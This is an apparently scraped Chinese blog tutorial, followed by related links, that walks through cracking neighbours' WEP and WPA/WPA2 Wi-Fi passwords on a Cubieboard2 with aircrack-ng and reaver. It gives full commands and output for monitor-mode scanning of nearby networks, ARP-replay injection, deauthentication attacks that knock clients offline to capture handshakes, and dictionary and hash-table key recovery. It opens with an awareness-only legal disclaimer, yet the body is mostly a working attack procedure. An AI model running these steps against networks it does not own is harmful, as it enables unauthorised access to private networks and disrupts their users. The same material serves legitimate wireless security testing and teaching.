本文的最终目的是介绍相关网络安全知识, 提高大家的防范意识, 正所谓知己知彼百战不殆.

破解他人wifi的行为都是违法的, 与本文无关, 请知悉.

一. 软硬件环境

硬件: cubieboard2
系统: debian (理论上基于debian的操作系统都可以, 如ubuntu, lubuntu, 等等)
无线网卡: RT3070_usb (其它无线网卡是否支持抓包以及驱动的安装方法请自行谷歌)

由于以下所有工具的编译都是直接在cubieboard里进行的, 所以要在cubieboard里构建编译环境:

# apt-get install gcc make
rt3070驱动安装:

# apt-get install firmware-ralink
二. 安装aircrack-ng

1. 下载aircrack-ng源码

# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
# tar -zxvf aircrack-ng-1.1.tar.gz
2. 安装必要的库文件

# apt-get install libssl-dev
否则编译时会报错:

In file included from aircrack-ng.c:65:0:
crypto.h:12:26: fatal error: openssl/hmac.h: No such file or directory
compilation terminated.
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/home/code/wifi/aircrack-ng-1.1/src'
make: *** [all] Error 2
3. 修改编译配置文件

# vi common.mak
搜索Werror这行, 将:
CFLAGS ?= -g -W -Wall -Werror -O3
改成:
CFLAGS ?= -g -W -Wall -O3
否则编译时报错:

linux.c: In function ‘is_ndiswrapper’:
linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_rate’:
linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_channel’:
linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_freq’:
linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘set_monitor’:
linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘do_linux_open’:
linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]
linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘get_battery_state’:
linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]
cc1: all warnings being treated as errors
make[3]: *** [linux.o] Error 1
4. 编译,安装

# make
# make install
三. 安装reaver(穷举PIN码方式破解工具)

1. 下载reaver源码

http://code.google.com/p/reaver-wps/downloads/list

2. 安装必要的库文件

# apt-get install libpcap-dev libsqlite3-dev
否则configure的时候报错:

checking for pcap_open_live in -lpcap... no
error: pcap library not found!
3. 编译,安装

# cd src
# ./configure
# make
# make install
四. 安装minidwep-gtk(图形界面工具, 可选)

deb包, 直接下载安装即可, 本文只专注于纯命令行破解, 图形工具安装步骤略

五. 破解步骤

1. 安装wireless-tools

# apt-get install wireless-tools iw
否则在使用airmon-ng命令时会报错:

Wireless tools not found
或者
ERROR: Neither the sysfs interface links nor the iw command is available.
2. 查看自己的无线网卡的名称,一般是wlan0或者wifi0

# ifconfig -a
3. 开启无线网卡监控功能

# airmon-ng start wlan0
注:wlan0为你的无线设备名称
这一步可能会看到提示有XXXX XXXX进程影响,没关系,kill XXX XXX, XXX为给出的进程号,然后重新执行上句, 直到不报错

4. 选择要破解的wifi, 获取其SSID, MAC, CHANNEL

4.1 用airodump-ng扫描

# airodump-ng mon0
会列出所有扫描到的AP列表, 如:

CH 13 ][ Elapsed: 1 min ][ 2014-05-03 23:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:0F:6A:0A:F6 -1 0 0 0 108 -1
00:23:CD:26:4A:B8 -59 19 20 0 6 54 . WEP WEP MERCURY
08:18:1A:89:D8:8C -63 19 0 0 1 54e WPA CCMP PSK ChinaNet-HbDm
EC:17:2F:B9:18:32 -77 11 0 0 6 54e. WPA2 CCMP PSK
08:10:76:6D:9B:74 -78 13 0 0 6 54e WPA2 CCMP PSK ZBH
F0:7D:68:55:AF:F4 -77 11 1 0 6 54e WPA2 CCMP PSK TL
AC:6E:1A:73:D7:85 -80 10 0 0 11 54e WPA2 CCMP PSK ChinaNet-43Bs
62:6E:1A:73:D7:86 -79 13 0 0 11 54e WPA2 CCMP PSK iTV-43Bs
A8:15:4D:13:0F:28 -78 19 1 0 11 54 . WPA2 CCMP PSK 2-703_TPLINK
38:83:45:7C:FE:00 -80 5 0 0 6 54e. WPA2 CCMP PSK xiaoer
20:DC:E6:F1:F1:82 -81 11 0 0 6 54e. WPA2 CCMP PSK XMing
6C:E8:73:5B:A3:2A -81 16 0 0 1 54e. WPA2 CCMP PSK HUANG
C8:3A:35:32:BA:88 -81 8 0 0 8 54e WPA CCMP PSK LYX
14:E6:E4:43:66:CA -81 2 0 0 4 54e. WPA2 CCMP PSK TP-LINK_4366CA
D8:15:0D:4D:18:18 -82 7 0 0 3 54e WPA2 CCMP PSK TP-LINK_805
8C:BE:BE:23:A5:AC -82 7 0 0 3 54e WPA2 CCMP PSK Xiaomi_las
9C:D2:4B:44:8B:68 -83 5 0 0 8 54e WPA CCMP PSK ChinaNet-bwwg
08:10:74:AB:61:7E -82 6 0 0 6 54 WPA TKIP PSK Netcore
00:1E:2A:67:EF:B0 -84 13 0 0 11 54 . WPA2 CCMP PSK SecondBegining
28:2C:B2:2C:A8:5C -84 20 0 0 11 54e. WPA2 CCMP PSK TP407
04:8D:38:00:A8:CB -21 47 181 0 7 54e WPA2 CCMP PSK

BSSID STATION PWR Rate Lost Packets Probes

00:1D:0F:6A:0A:F6 E0:B9:A5:05:D2:3D -76 0 - 1 19 6
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -1 48 - 0 0 16
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -80 0 - 2 20 8
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -78 0e-12e 0 179 
选取一个信号好的, 连接的客户端活跃的就可以.

如果想破解WEP, 我们选取的AP信息:

SSID : MERCURY
MAC : 00:23:CD:26:4A:B8
CHANNEL : 6
ENC : WEP
如果想破解WPA/WPA2, 我们选取的AP信息:

SSID : 
MAC : 04:8D:38:00:A8:CB
CHANNEL : 7
ENC : WPA2
4.2 这一步用wireless-tools或者windows下的工具WirelessMon也可以

5. 破解WEP

5.1 抓取足够的通信数据包

# airodump-ng --ivs -w packet -c 6 wlan0
或者
# airodump-ng --ivs -w packet -c 6 --bssid 00:23:CD:26:4A:B8 wlan0 //可以加--bssid参数限定只抓特定AP的数据包
参数解释:
--ivs 这里的设置是通过设置过滤,不再将所有无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小;
-c 这里我们设置目标AP的工作频道,通过刚才的观察,我们要进行攻击的无线路由器channel为6;
-w 后跟要保存的文件名,所以输入自己希望保持的文件名, 这里会生成packet-xx.ivs文件, xx是序号。后文中破解时使用ivs包可用通配符代替, 如packet-*.ivs

抓包界面如下:

CH 6 ][ Elapsed: 12 mins ][ 2014-05-04 00:23

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -24 0 3 3 0 7 54e WPA2 CCMP PSK beiyu@foxmail.com
00:23:CD:26:4A:B8 -59 46 582 729 0 6 54 . WEP WEP MERCURY
EC:17:2F:B9:18:32 -75 65 458 139 1 6 54e. WPA2 CCMP PSK TARO
F0:7D:68:55:AF:F4 -78 43 461 24 0 6 54e WPA2 CCMP PSK TL
20:DC:E6:F1:F1:82 -80 33 367 0 0 6 54e. WPA2 CCMP PSK XMing
8C:21:0A:18:17:46 -78 74 513 3 0 6 54e. WPA2 CCMP PSK VincentKasim
38:83:45:7C:FE:00 -79 36 399 0 0 6 54e. WPA2 CCMP PSK xiaoer
08:10:74:AB:61:7E -82 1 261 0 0 6 54 WPA TKIP PSK Netcore
08:10:76:6D:9B:74 -82 27 277 0 0 6 54e WPA2 CCMP PSK ZBH
00:25:86:66:42:6E -83 4 19 0 0 6 54 . WEP WEP FAST_66426E
00:87:15:25:85:2C -83 90 508 18 0 6 54e WPA2 CCMP PSK RT8888
14:E6:E4:56:E2:B6 -83 0 29 0 0 6 54e. WEP WEP pig
40:16:9F:76:82:A2 -84 0 1 0 0 6 22e. WPA2 CCMP PSK WH
38:83:45:CA:42:26 -84 0 1 0 0 6 54e. WPA2 CCMP PSK tp-link n1

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -80 0 - 1e 0 152
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -76 54 - 1 0 82
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -82 54 - 1 0 763
5.2 对目标AP使用ArpRequest注入攻击

若连接着该无线路由器/AP的无线客户端正在进行大流量的交互,比如使用迅雷、电骡进行大文件下载等,则可以依靠单纯的抓包就可以破解出WEP密码。
但是无线黑客们觉得这样的等待有时候过于漫长,于是就采用了一种称之为“ARP Request”的方式来读取ARP请求报文,并伪造报文再次重发出去,以便刺激AP产生更多的数据包,从而加快破解过程,
这种方法就称之为ArpRequest注入攻击。输入命令(新开一个终端)如下:

# aireplay-ng -3 -b [AP's MAC] -h [Client's MAC] mon0
参数解释:
-3 指采用ARPRequesr注入攻击模式;
-b 后跟AP的MAC地址,这里就是前面我们探测到的SSID为TPLINK的AP的MAC;
-h 后跟客户端的MAC地址,也就是我们前面探测到的有效无线客户端的MAC;

例如

# aireplay-ng -3 -b 00:23:CD:26:4A:B8 -h D0:22:BE:EE:E8:A4 mon0
回车后将会看到如下所示的读取无线数据报文,从中获取ARP报文的情况出现。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airodump-ng to capture replies.
Read 3943 packets (got 0 ARP requests and 13 ACKs), sent 0 packets...(0 pps)
在等待片刻之后,一旦成功截获到ARP请求报文,我们将会看到如下图13所示的大量ARP报文快速交互的情况出现。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airodump-ng to capture replies.
Read 13943 packets (got 1 ARP requests and 131 ACKs), sent 12 packets...(566 pps)
Read 14045 packets (got 40 ARP requests and 231 ACKs), sent 123 packets...(566 pps)
Read 14132 packets (got 132 ARP requests and 452 ACKs), sent 234 packets...(566 pps)
Read 14212 packets (got 156 ARP requests and 645 ACKs), sent 567 packets...(566 pps)
Read 14223 packets (got 196 ARP requests and 1090 ACKs), sent 845 packets...(566 pps)
此时回到airodump-ng的界面查看,作为MERCURY的packets栏的数字在飞速递增, 一般该值达到1万5千以上, 就可以进行下一步的破解, 很复杂的密码需要8万以上的IVS。

5.3 使用aircrack-ng破解WEP

在抓取的无线数据报文达到了一定数量后,一般都是指IVs值达到1万以上时,就可以开始破解,若不能成功就等待数据报文的继续抓取然后多试几次。
注意,此处不需要将进行注入攻击的终端关闭,而是另外开一个终端进行同步破解。输入命令如下:

# aircrack-ng 捕获的ivs文件
例如:

# aircrack-ng packet-*.ivs
关于ivs的值数量,我们可以从如下所示的界面中看到,当前已经接受到的IVs已经达到了1万5千以上,aircrack-ng已经尝试了16万个组合。

Aircrack-ng 1.1

[00:01:01] Tested 163814 keys (got 15081 IVs)

KB depth byte(vote)
0 55/ 61 AA(13248) 39(13212) BC(13212) CE(13212) 79(13208) EB(13200) 04(13128) 61(13124) 57(13088) 4F(13060) C9(13048) 75(13024) 8F(12984) A4(12984)
1 12/ 14 49(14740) 88(14628) 86(14564) D8(14520) 7C(14272) 5B(14192) 22(14160) 10(14120) 05(14040) 0E(14012) A8(13976) 87(13932) E2(13828) 5D(13796)
2 38/ 2 09(13724) ED(13608) 40(13600) 24(13572) 7E(13572) C0(13572) 50(13560) 06(13492) 97(13432) C6(13432) 23(13392) 0B(13388) B2(13316) AB(13312)
3 2/ 3 9E(16764) A8(15876) 7A(15808) 12(15800) 4B(15740) 28(15440) 53(15368) 16(15036) 69(14936) 5E(14920) 91(14892) 74(14780) 45(14772) 99(14604)
4 16/ 4 7B(14488) 4A(14384) F1(14308) 86(14228) A1(14228) 5C(14128) 17(14120) 6C(14120) 7F(14088) 02(14084) 31(14052) BF(14016) C1(14008) 0C(14004)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted corretly: 100%
注意: 高强度复杂密码破解成功依赖于更多的IVs, 如13位复杂密码需要8万多IVs.

6. 破解WPA/WPA2

6.1 开始监控目标AP

获取与其进行通信的Client’s MAC, 命令格式:

# airodump-ng -w handshake -c [AP‘s CHANNEL] mon0
# airodump-ng -w handshake -c [AP‘s CHANNEL] --bssid [AP‘s MAC] mon0 //可以加--bssid参数限定只抓特定AP的数据包
例如:

# airodump-ng -w handshake -c 7 --bssid 04:8D:38:00:A8:CB mon0
输出如下所示:

CH 7 ][ Elapsed: 56 s ][ 2014-05-03 20:54

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -2 100 510 3216 3 7 54e WPA2 CCMP PSK

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -74 0 - 1e 16 47
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -74 0e-12e 51 3412
6.2 抓握手包

为了获得破解所需的WPA-PSK握手验证的整个完整数据包,黑客们将会发送一种称之为“Deauth”的数据包来将已经连接至无线路由器的合法无线客户端强制断开,
此时,客户端就会自动重新连接无线路由器,黑客们也就有机会捕获到包含WPA-PSK握手验证的完整数据包了。

第四步我们已经抓到两个Client客户端的MAC地址,从里面随便选个Client(最好选择活跃些的)。
再打开一个新的终端(上一个终端不要关闭,后面还需要用到), 在新终端中输入命令, 格式为:

# aireplay-ng -0 20 -a [AP’s MAC] -c [CLIENT’s MAC] mon0
例如:
# aireplay-ng -0 20 -a 04:8D:38:00:A8:CB -c 88:E3:AB:A9:23:96 mon0
查看第一个终端中是否出现了如下所示的标志WAP Handshake:

CH 7 ][ Elapsed: 6 mins ][ 2014-05-03 21:04 ][ WPA handshake: 04:8D:38:00:A8:CB <== 这一行出现WPA handshake说明抓到了握手包!!

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -28 100 3346 30338 31 7 54e WPA2 CCMP PSK

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -72 0e-12e 43 31348
04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -74 11e- 1 57 14993
如果出现了,那么恭喜你离成功已经不远了。抓到的握手包会保存在当前目录下, 命名规则是handshake-xx.cap, xx是抓到的握手包的序号(因为可能抓到不止一个握手包)
如果没有出现就继续重复aireplay-ng的命令,直到出现握手状态。

6.3 暴力破解握手包

6.3.1 直接跑字典(推荐方式, 简单, 但是速度比较慢)

# aircrack-ng -w [password.txt] -b [AP’s MAC] [handshake-xx.cap]
其中: password.txt 为我们需要预置的字典文件(网上搜搜就有了)。
AP’s MAC 为我们之前选取的AP的MAC
handshake-xx.cap 为我们上一步抓到的握手包

Cubieboard2 跑字典的速度大概是每秒200~300个, 跟一般的台式机还是有6,7倍的差距的, 可见Arm与X86架构不是同一个级别上的.由于跑字典时CPU满载, 发热量大, 建议给Cubieboard CPU上加装散热片.

例如:

# aircrack-ng -w password.txt -b 04:8D:38:00:A8:CB handshake-01.cap
6.3.2 利用字典文件生成Hash表数据库, 直接跑数据库(生成的Hash数据库很大, 生成过程速度慢, 但是破解速度快)
新建ssid.txt, 把AP的SSID写入其中, 然后执行:

# airolib-ng hashdb import ascii essid ssid.txt
# airolib-ng hashdb import ascii passwd password.txt
# airolib-ng hashdb clean all
# airolib-ng hashdb batch
检查一下:

# airolib-ng hashdb stats
跑Hash数据库

# aircrack-ng -r hashdb handshake-01.cap
以上两种暴力破解方式任意一种破解成功后都会有如下提示:

Aircrack-ng 1.1

[00:01:23] 23092 keys tested (277.54 k/s)

KEY FOUND! [ abababab ]

Master Key : 45 0A 1F 5F EE 54 78 B8 00 97 DA 2E F2 89 D3 57
06 98 13 0D 62 66 E5 2B B6 1F 2A 6C BF 2F 88 2C

Transient Key : 70 52 7D 66 0C B7 52 F6 08 8C 0C 32 5D C0 B3 54
41 24 93 84 06 6D 37 78 16 8F 8F 0D 09 4D 51 0D
B2 31 31 96 73 77 62 17 B3 AD 72 06 41 F1 4C 05
4B B5 10 F5 3E E2 41 27 B4 52 08 70 B4 85 AC 0E

EAPOL HMAC : 81 B7 0E BB 19 AB 4B 24 E5 97 69 14 AD 46 B2 62
Tags: Linux, Tools

------------------ Have a nice day! --------------------

学习linux下破解wifi密码相关推荐

  1. 使用Kali Linux虚拟机破解WiFi密码的一波三折及详细操作步骤

    使用Kali Linux虚拟机破解WiFi密码的一波三折 声明:此篇使用自己的WiFi作为学习和测试.私自破解他人WiFi属于违法行为!仅供参考学习~望周知! 目录概要 使用Kali Linux虚拟机 ...

  2. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  3. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

  4. kalilinux破解WiFi密码(仅供学习使用)

    kalilinux破解WiFi密码(仅供学习使用) (严禁商业使用,只能用于个人学习使用) 一.安装kalilinux 这部分请详细去看我之前的博客,kalilinux的安装教程,完成安装后,便可以开 ...

  5. Kali Linux使用基于airmon airodump aircrack破解wifi密码

    AirCrack 套件来破解无线网络的 WEP 密码 最近玩Kali Linux总结一下使用教程 要求: Kali Linux的计算机(我用的是vmware) 要有一个外置的网卡,用于Kali Lin ...

  6. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  7. Python学习教程:用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

  8. kali破解WiFi时wlan0没有变wlan0mon_黑客是如何破解WI-FI密码的?黑客破解了WI-FI之后能做什么?

    WI-FI密码破解 工具kali linux 操作系统,一款黑客专用操作系统. 1.开启无线网络监听模式 获取无线网卡名 使用命令: sudo ifconfig 开启无线网络监听使用命令 : sudo ...

  9. Kali 下wpa2安全 下的WiFi密码解

    Kali 下wpa2安全 下的WiFi密码解 这段时间沉迷与黑客技术无法自拔,当一名炫酷的黑客是每个男孩儿时的梦想,但是这条路也是艰辛的,孤独的,就看你有没有那个恒心一直走下去.现在网络很发达有很多的 ...

最新文章

  1. C# access update 出错总结,注意事项
  2. python读取第二行_从CSV文件读取第二行到Python
  3. 布局技巧3:创建高效布局
  4. 时间序列 线性回归 区别_时间序列分析的完整介绍(带R)::线性过程I
  5. 替换string中的部分字符
  6. ❤️震惊!人生苦短,我用python来玩田忌赛马❤️
  7. spring boot 下使用@ConponentScan注解遇到的问题
  8. 树莓派-解决apt-get upgrade速度慢的方法[更换阿里云源]
  9. 快速排序查询第k个数
  10. 强悍的命令行 —— basename 去掉路径和扩展名 dirname 获取路径
  11. Docker 三剑客之 Docker Swarm
  12. FeHelper ( 浏览器插件 )
  13. 沃趣陈栋ORACLE认证,QData-Oracle-数据库一体机---沃趣科技.pdf
  14. 正睿OIday8-day10
  15. 流行购车平台易车买车划算吗?
  16. httpclient的两个重要的参数maxPerRoute及MaxTotal
  17. 基于STM32单片机的篮球计时记分器proteus仿真原理图PCB
  18. 1-7信号调制与PCM基础(物理层)
  19. IDEA 如何快速启动多个服务
  20. 上线客流人数统计系统实现资源的最大化利用

热门文章

  1. C 彩色艺术化二维码样式设计(仅说思路)
  2. 交互设计期末大作业(Photoshop期末作业)
  3. 2021编程语言排行榜出炉,C#年度语言奖
  4. 计算几何入门 1.6:凸包的构造——Graham Scan算法
  5. mini2440硬件篇之IIC
  6. 老九学堂数据结构与算法章节1课堂笔记
  7. 判断用户使用的浏览器是不是IE8
  8. android分区卸载命令行,Android ADB命令 将apk安装到系统应用及删除方法
  9. QIIME2进阶五_QIIME2扩增子基因序列多样性分析
  10. java memorycache原理_CPU Cache 原理及操作